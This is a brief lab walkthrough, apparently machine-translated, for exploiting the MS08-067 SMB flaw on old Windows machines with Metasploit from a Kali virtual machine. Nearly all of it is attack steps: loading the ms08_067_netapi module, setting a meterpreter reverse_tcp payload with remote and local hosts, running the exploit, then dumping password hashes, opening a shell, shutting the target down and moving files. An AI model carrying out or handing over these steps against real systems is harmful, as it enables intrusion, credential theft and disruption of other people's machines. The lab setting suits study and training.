Topological environment: 2 virtual machines, one Kali, another XP with ms08067 vulnerability or 2000 or 2003 machines
Msfconsole entering the MSF console
Enter Search ms0-067
Find the appropriate module
Use EXPLOIT/WINDOWS/SMB/MS08_067_NETAPI using the appropriate module
Set PAYLOAD windows/meterpreter/reverse_tcp setting bounce Connection
Show Options View setup options
Set RHOST 192.168.80.XX setting up a remote host
Set Lhost 192.168.80.YY setting Local Host
Show targets view attack target system type
Set Target 1 targets machine is 2000
Exploit
Wait for the attack to succeed, appear meterpreter>
Enter help view to use the command
Ipconfig view the IP address of the opponent
Hashdump get the other hash value
Shell uses shell command, CTRL + Z to enter the background, exit exit
Shutdown
You can upload and download files, etc.
Using Metasploit to attack PC processes with ms8067 vulnerabilities